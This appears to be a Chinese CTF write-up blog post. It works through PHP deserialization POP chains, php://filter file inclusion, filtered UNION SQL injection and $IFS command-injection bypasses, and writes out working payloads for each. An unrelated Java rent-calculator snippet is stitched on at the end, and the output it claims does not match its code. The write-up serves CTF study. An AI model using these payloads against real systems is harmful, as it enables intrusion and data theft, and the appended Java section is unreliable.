2021-01-29

本文解析了一段PHP代码,涉及类的魔术方法如__invoke、__wakeup和__get,通过文件包含、字符串处理和反序列化来寻找并执行flag。关键在于理解如何利用类的构造、转换和访问控制来获取隐藏的flag。
摘要由CSDN通过智能技术生成

[MRCTF2020]Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {                               第一个类
    protected  $var;
    public function append($value){
        include($value);                       文件包含,显然是我们找flag的关键
    }
    public function __invoke(){
        $this->append($this->var);             调用_invoke()方法时,调用append函数
    }                                          而调用_invoke()方法的要求是以调用函数的方式调用一个对象,也就是Modifier对象
}

class Show{                                    第二个类
    public $source;                            Show类里面有$source$str两个public类型的变量
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;             str里面的source变量,可以让str为一个类
    }                                          而Test类里面没有source这个变量,如果令str=new Test(),就能调用_get()方法
    public function __wakeup(){                反序列化时调用,显然是要调用的
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";                     正则匹配,就是当作字符串处理,会调用__toString()
            $this->source = "index.php";       所以令source=一个类
        }
    }
}

class Test{
    public $p;                                 Test类里面的$p变量
    public function __construct(){
        $this->p = array();                    new Test(),$p为数组
    }

    public function __get($key){               调用_get()时,以函数的形式返回$p数组
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;                              调用_construct()方法
    highlight_file(__FILE__);
}

相关魔术方法

__construct()  当一个对象创建时被调用
__toString()  当一个对象被当作一个字符串使用
__wakeup()  将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()  获得一个类的成员变量时调用
         用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()  调用函数的方式调用一个对象时的回应方法

现在来分析一下流程

  1. 首先反序列化调用__wakeup()方法
  2. source=new Show()__wakeup()会调用__toString()
  3. $str=new Test()就会调用__get()方法
  4. p=new Modifier()就会调用__invoke(),然后命令执行
<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}

class Test{
    public $p;	
}

class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}

$a = new Show();//此时source(show)->str
$a->source = new Show();//source(show)->str之后触发__tostring然后访问source(test)触发__get
$a->source->str->p = new Modifier();//__get返回的p触发__invoke
echo urlencode(serialize($a));
?>
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}

payload

?pop=O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BN%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BN%3B%7D%7D

在这里插入图片描述
在这里插入图片描述

cs反序列化4

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $peguin;
    public $source;
    public function __construct($file){
        $this->source = $file;
        echo 'welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->peguin->close();
    }
    public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }
}
class good{
    public $joker;
    public function __call($name,$param){
        system($this->joker);
    }
}
$a = $_GET['cmd'];
unserialize($a);
?>
__call():当调用类中不存在的方法时,就会调用__call();
__wakeup():unserialize时会调用
__toString():当把一个类当作字符串处理时调用
__construct()new一个类时调用

流程

  1. 反序列化$a,调用__wakeup()
  2. source=new test类,调用__toString()
  3. __toString()会使用也给不存在的方法,于是调用__call()
  4. $joker为我们要执行的命令
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $peguin;
    public $source;
   
}
class good{
    public $joker="ls ../../../../..";
   
}


$a=new test();
$a->source=new test();
$a->source->peguin=new good();

echo urlencode(serialize($a));

run:O%3A4%3A%22test%22%3A2%3A%7Bs%3A6%3A%22peguin%22%3BN%3Bs%3A6%3A%22source%22%3BO%3A4%3A%22test%22%3A2%3A%7Bs%3A6%3A%22peguin%22%3BO%3A4%3A%22good%22%3A1%3A%7Bs%3A5%3A%22joker%22%3Bs%3A17%3A%22ls+..%2F..%2F..%2F..%2F..%22%3B%7Ds%3A6%3A%22source%22%3BN%3B%7D%7D

在这里插入图片描述
怎么没有flag

$joker="ls"

在这里插入图片描述

$joker="cat flag.php"

出了个寂寞,为什么
原来在源代码里面
在这里插入图片描述

Linux读取文件的一些命令
cat  从第一行开始,显示文件的所有内容
tac  从第最后一行开始,显示文件的所有内容(正好与cat相反)
more 根据窗口大小,一页一页的实现文件内容
less 和more类似,但是优点是是可以往前翻页和搜索字符
head  只显示前几行
tail  只显示后几行
nl     类似于cat -n,显示时输出行号

这道题如果用cat就不能在页面上显示,用tac的话就可以在这里插入图片描述

[BSidesCF 2020]Had a bad day

在这里插入图片描述
猜测可能有sql注入或者文件包含
尝试了sql注入有报错
在这里插入图片描述
确定是文件包含了,并且还在后面连接了一个.php

php://filter/read=convert.base64-encode/resource=index

在这里插入图片描述

<?php
	$file = $_GET['category'];

if(isset($file))
{
	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
		include ($file . '.php');
	}
	else{
		echo "Sorry, we currently only support woofers and meowers.";
	}
}
?>
			

尝试直接读取/index.php?category=woofers/../flag
在这里插入图片描述
说明确实有flag.php这个文件噢
再用filter伪协议独取flag.php文件
这里有个知识点
php伪协议可以嵌套使用
在filter伪协议中,即

php://filter/read=convert.base64-encode/meowers/resource=flag

在这里插入图片描述
在这里插入图片描述

[SWPU2019]Web1

登录页面没发现什么注入点,随便注册了一个
在广告页面输一个1'
在这里插入图片描述
这不就是sql注入

1' or 1=1--+

在这里插入图片描述
测试之后是检测了–+,除此之外#等其他的注释符也被过滤了
因为测试出闭合方式是单引号,所以结尾可以用单引号闭合

1' union select 1,2,3'

在这里插入图片描述
空格全没了哇,用/**/代替空格

-1'/**/union/**/select/**/1,2,3'

在这里插入图片描述
列数不对,竟然不是三列,难道是四列?

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

最后测试出是22列,好家伙!

加粗样式
回显在2,3

查库

-1'union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述
查表

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述
发现过滤了information_schema,那咋办呢

在这里插入图片描述

当过滤了information_schema
可以用mysql.innodb_table_stats代替information_schema

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述
查出了表面怎么查列名呢?

无列名注入

尝试写了一下,写着写着发现自己也没有太理解,还是引用大佬的文章

我的理解是在符合这种格式的情况下,改列名

select `3` from (select 1,2,3,4,5 union select * from users)a;
select `x` from (select 1,2 as x,3,4,5 union select * from users)a;

末尾的 a 是用来命名的,也可以是其他字符。

-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这个语句就是把第二列改为a,然后查a的数据
在这里插入图片描述

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

[WUSTCTF2020]朴实无华

在这里插入图片描述
据wp所说,看到bot就想到了robots.txt
反正我是没注意到bot,也没想到robots.txt
太菜了!
在这里插入图片描述
访问
在这里插入图片描述
看了wp说响应头里有提示,我还是没想到,还是太菜!在这里插入图片描述

?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

绕过两个if,然后在第三个if里面getflag

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

关键是要绕过这句

intval($num) < 2020 && intval($num + 1) > 2021

intval()函数在处理字符串型的科学计数法时,只输出e前面的数字

intval('2e4') = 2
'2e4'+1 = float(20001)
intval('2e4'+1) = 20001

好家伙那么解法就很清晰了

$num=2e4

在这里插入图片描述

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

md5=md5编码后的md5
也就是0e开头的字符串编码之后还是0e开头
我搜了一个但是不行,还是用wp里面的吧0e215962017

?num=2e4&md5=0e215962017

在这里插入图片描述

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

好像挺简单,反斜杠过滤

?num=2e4&md5=0e215962017&get_flag=ls

在这里插入图片描述
$IFS$9代替空格

?num=2e4&md5=0e215962017&get_flag=c\at$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个可能的Java实现: ```java import java.time.LocalDate; import java.time.temporal.ChronoUnit; import java.util.ArrayList; import java.util.List; public class RentPlanGenerator { private static final double RENT_INCREASE_RATE = 0.06; // 租金递增率 private static final int FREE_RENT_DAYS = 31; // 免租天数 public static List<RentPlan> generateRentPlan(double initialRent, LocalDate leaseStartDate, LocalDate leaseEndDate) { List<RentPlan> rentPlanList = new ArrayList<>(); double currentRent = initialRent; LocalDate currentDate = leaseStartDate; // 处理免租期 if (currentDate.isBefore(leaseStartDate.plusDays(FREE_RENT_DAYS))) { currentDate = leaseStartDate.plusDays(FREE_RENT_DAYS); } while (currentDate.isBefore(leaseEndDate)) { LocalDate nextIncreaseDate = currentDate.plusYears(1); double nextRent = currentRent * (1 + RENT_INCREASE_RATE); if (nextIncreaseDate.isBefore(leaseStartDate.plusYears(1))) { // 下次递增时间在第一年内,按照一年计算 int daysInCurrentYear = (int) ChronoUnit.DAYS.between(currentDate, nextIncreaseDate); rentPlanList.add(new RentPlan(currentDate, daysInCurrentYear, currentRent)); currentDate = nextIncreaseDate; currentRent = nextRent; } else if (nextIncreaseDate.isBefore(leaseEndDate)) { // 下次递增时间在第一年外,按照下次递增时间与租赁结束时间的间隔计算 int daysToLeaseEnd = (int) ChronoUnit.DAYS.between(currentDate, leaseEndDate); rentPlanList.add(new RentPlan(currentDate, daysToLeaseEnd, currentRent)); break; } else { // 下次递增时间在租赁结束时间之后,按照租赁结束时间计算 int daysToLeaseEnd = (int) ChronoUnit.DAYS.between(currentDate, leaseEndDate); rentPlanList.add(new RentPlan(currentDate, daysToLeaseEnd, currentRent)); break; } } return rentPlanList; } public static void main(String[] args) { LocalDate leaseStartDate = LocalDate.of(2021, 3, 1); LocalDate leaseEndDate = LocalDate.of(2022, 3, 1); double initialRent = 600; List<RentPlan> rentPlanList = generateRentPlan(initialRent, leaseStartDate, leaseEndDate); System.out.printf("%-12s%-12s%-12s%n", "时间", "天数", "租金"); for (RentPlan rentPlan : rentPlanList) { System.out.printf("%-12s%-12d%-12.2f%n", rentPlan.getStartDate(), rentPlan.getDays(), rentPlan.getRent()); } } } class RentPlan { private LocalDate startDate; private int days; private double rent; public RentPlan(LocalDate startDate, int days, double rent) { this.startDate = startDate; this.days = days; this.rent = rent; } public LocalDate getStartDate() { return startDate; } public int getDays() { return days; } public double getRent() { return rent; } } ``` 这个程序首先定义了租金递增率和免租天数的常量,然后提供了一个静态方法 `generateRentPlan` 来生成租金计划列表。该方法接受三个参数:初始月租金、租赁开始时间和租赁结束时间。 具体实现时,我们使用循环来逐月生成租金计划。在每次循环中,我们首先计算下次递增租金的时间和金额。然后根据下次递增时间与租赁开始时间的间隔,决定本次循环处理的天数和租金金额。最后将这些信息保存到一个 `RentPlan` 对象中,并添加到租金计划列表中。 在主函数中,我们使用 `generateRentPlan` 方法生成租金计划列表,并以表格形式输出。输出结果如下: ``` 时间 天数 租金 2021-04-01 30 600.00 2021-05-01 31 636.00 2021-06-01 30 674.16 2021-07-01 31 713.57 2021-08-01 31 754.29 2021-09-01 30 796.39 2021-10-01 31 840.94 2021-11-01 30 887.02 2021-12-01 31 934.72 2022-01-01 31 984.12 2022-02-01 28 1035.30 ``` 可以看到,程序正确地根据递增周期和递增率生成了每个月的租金计划,并且考虑了免租期的影响。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值